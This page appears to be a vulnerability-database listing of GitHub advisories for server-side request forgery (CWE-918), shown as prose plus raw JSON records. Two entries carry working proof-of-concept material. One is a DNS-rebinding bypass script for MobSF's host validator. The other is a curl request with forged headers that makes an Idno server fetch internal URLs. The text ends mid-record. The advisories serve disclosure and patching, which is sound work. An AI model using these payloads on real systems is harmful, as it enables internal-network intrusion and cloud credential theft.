Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-FC65-58V2-9R8H

Vulnerability from github – Published: 2022-04-30 18:21 – Updated: 2024-02-08 21:30
VLAI
Details

DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2002-1484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2003-04-22T04:00:00Z",
    "severity": "HIGH"
  },
  "details": "DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.",
  "id": "GHSA-fc65-58v2-9r8h",
  "modified": "2024-02-08T21:30:30Z",
  "published": "2022-04-30T18:21:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-1484"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2002-09/0201.html"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0125.html"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/10136.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/5725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FC85-MQVW-FGVH

Vulnerability from github – Published: 2026-05-02 06:30 – Updated: 2026-05-02 06:30
VLAI
Details

A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-02T05:16:01Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.",
  "id": "GHSA-fc85-mqvw-fgvh",
  "modified": "2026-05-02T06:30:24Z",
  "published": "2026-05-02T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9554#issuecomment-4251574151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/805708"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360561"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360561/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FC9R-6PVQ-27WG

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2024-04-24 09:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.\n\n",
  "id": "GHSA-fc9r-6pvq-27wg",
  "modified": "2024-04-24T09:30:31Z",
  "published": "2024-04-24T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32718"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/the-pack-addon/wordpress-the-pack-elementor-addons-plugin-2-0-8-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCCG-7W3P-W66F

Vulnerability from github – Published: 2026-01-16 15:31 – Updated: 2026-01-16 19:57
VLAI
Summary
Nu Html Checker (vnu) contains a Server-Side Request Forgery (SSRF) vulnerability
Details

Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "nu.validator:validator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vnu-jar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-15104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T19:57:33Z",
    "nvd_published_at": "2026-01-16T14:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).",
  "id": "GHSA-fccg-7w3p-w66f",
  "modified": "2026-01-16T19:57:33Z",
  "published": "2026-01-16T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15104"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/europe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/validator/validator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nu Html Checker (vnu) contains a Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-FCFQ-M8P6-GW56

Vulnerability from github – Published: 2025-03-31 17:23 – Updated: 2025-06-13 04:11
VLAI
Summary
Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding
Details

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

  • Avoid the use of socket.gethostbyname() since it issues and DNS query.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T17:23:21Z",
    "nvd_published_at": "2025-03-31T17:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n    \"\"\"Check if host is valid.\"\"\"\n    try:\n        prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n        if not host.startswith(prefixs):\n            host = f\u0027http://{host}\u0027\n        parsed = urlparse(host)\n        domain = parsed.netloc\n        path = parsed.path\n        if len(domain) == 0:\n            # No valid domain\n            return False, None\n        if len(path) \u003e 0:\n            # Only host is allowed\n            return False, None\n        if \u0027:\u0027 in domain:\n            # IPv6\n            return False, None\n        # Local network\n        invalid_prefix = (\n            \u0027100.64.\u0027,\n            \u0027127.\u0027,\n            \u0027192.\u0027,\n            \u0027198.\u0027,\n            \u002710.\u0027,\n            \u0027172.\u0027,\n            \u0027169.\u0027,\n            \u00270.\u0027,\n            \u0027203.0.\u0027,\n            \u0027224.0.\u0027,\n            \u0027240.0\u0027,\n            \u0027255.255.\u0027,\n            \u0027localhost\u0027,\n            \u0027::1\u0027,\n            \u002764::ff9b::\u0027,\n            \u0027100::\u0027,\n            \u00272001::\u0027,\n            \u00272002::\u0027,\n            \u0027fc00::\u0027,\n            \u0027fe80::\u0027,\n            \u0027ff00::\u0027)\n        if domain.startswith(invalid_prefix):\n            return False, None\n        ip = socket.gethostbyname(domain)\n        if ip.startswith(invalid_prefix):\n            # Resolve dns to get IP\n            return False, None\n        return True, ip\n    except Exception:\n        return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n    print(\"Generating random host ...\", end=\u0027 \u0027)     \n    prefix = random.randint(999_999, 9_999_999)\n    host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n    print(\"Done\")\n    print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n    valid, ip = valid_host(host)\n    if valid:\n        print(f\"Successful Bypass\")\n        print(f\" - Host initially resolved to: {ip}\")\n        print(\"Sleeping for 1 second ...\")\n        time.sleep(1)\n        print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(\"Sleeping for 30 seconds ...\")\n        time.sleep(30)\n    else:\n        print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ...  Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
  "id": "GHSA-fcfq-m8p6-gw56",
  "modified": "2025-06-13T04:11:18Z",
  "published": "2025-03-31T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding"
}

GHSA-FCH9-7G2P-F49F

Vulnerability from github – Published: 2025-03-18 15:30 – Updated: 2025-03-18 15:30
VLAI
Details

IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-18T15:15:56Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-fch9-7g2p-f49f",
  "modified": "2025-03-18T15:30:48Z",
  "published": "2025-03-18T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49822"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7186424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCHH-435H-CF8H

Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-06-21 21:33
VLAI
Details

IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 257705.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-35011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-16T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.  IBM X-Force ID:  257705.",
  "id": "GHSA-fchh-435h-cf8h",
  "modified": "2024-06-21T21:33:53Z",
  "published": "2023-08-17T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35011"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/257705"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230921-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7026692"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCRH-FQXH-6FX6

Vulnerability from github – Published: 2026-03-02 21:24 – Updated: 2026-03-06 15:16
VLAI
Summary
Idno Vulnerable to Unauthenticated SSRF via URL Unfurl Endpoint
Details

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include: * Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

  • Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

  • Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

  • Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "idno/known"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:24:37Z",
    "nvd_published_at": "2026-03-06T05:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.\n\n**Component**: `Idno/Pages/Service/Web/UrlUnfurl.php`, `Idno/Core/Session.php`, `Idno/Core/Actions.php`  \n**Vulnerability Class**: [Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n**Authentication Required**: None  \n**CVSSv4 Base Score:** 9.2 (High) - [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)\n**Affected Endpoint**: GET `/service/web/unfurl?url=\u003cattacker-controlled-url\u003e`\nHandled by `Idno\\Pages\\Service\\Web\\UrlUnfurl::getContent()`.\n**Affected Versions**: \u003c= 1.6.3\n```\ncat version.idno\nversion = \u00271.6.3\u0027\nbuild = 2026021301\n```\n\n\n## Code Flow  \n### Step 1 \u2014 Endpoint access control  \n`UrlUnfurl::getContent()` (UrlUnfurl.php:36) enforces two access controls:  \n`$this-\u003exhrGatekeeper();`\n`$this-\u003etokenGatekeeper();`  \n\nNotably, the original authentication check (`$this-\u003egatekeeper()`) was explicitly removed with the following comment left in the source:\n\n```php\n//$this-\u003egatekeeper(); // Gatekeeper to ensure this service isn\u0027t abused by third parties\n// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse\n```\n\nThis leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.\n\n### Step 2 \u2014 Bypassing xhrGatekeeper()\n`Page::xhrGatekeeper()` (Page.php:876) checks whether the request was made with the X-Requested-With:\nXMLHttpRequest header:\n```php\nfunction xhrGatekeeper()\n{\n    if (!$this-\u003exhr) {\n        $this-\u003edeniedContent();\n    }\n}\n```\n\nThis check is trivially bypassed by any HTTP client capable of setting custom headers.\n\n### Step 3 \u2014 Bypassing `tokenGatekeeper()` via premature API flag\n`Page::tokenGatekeeper()` (Page.php:887) calls `Actions::validateToken()`:\n```php\nfunction tokenGatekeeper()\n{\n    $url = $this-\u003ecurrentUrl();\n    $bits = explode(\u0027?\u0027, $url);\n    $url = $bits[0];\n    if (!\\Idno\\Core\\Idno::site()-\u003eactions()-\u003evalidateToken($url, false)) {\n        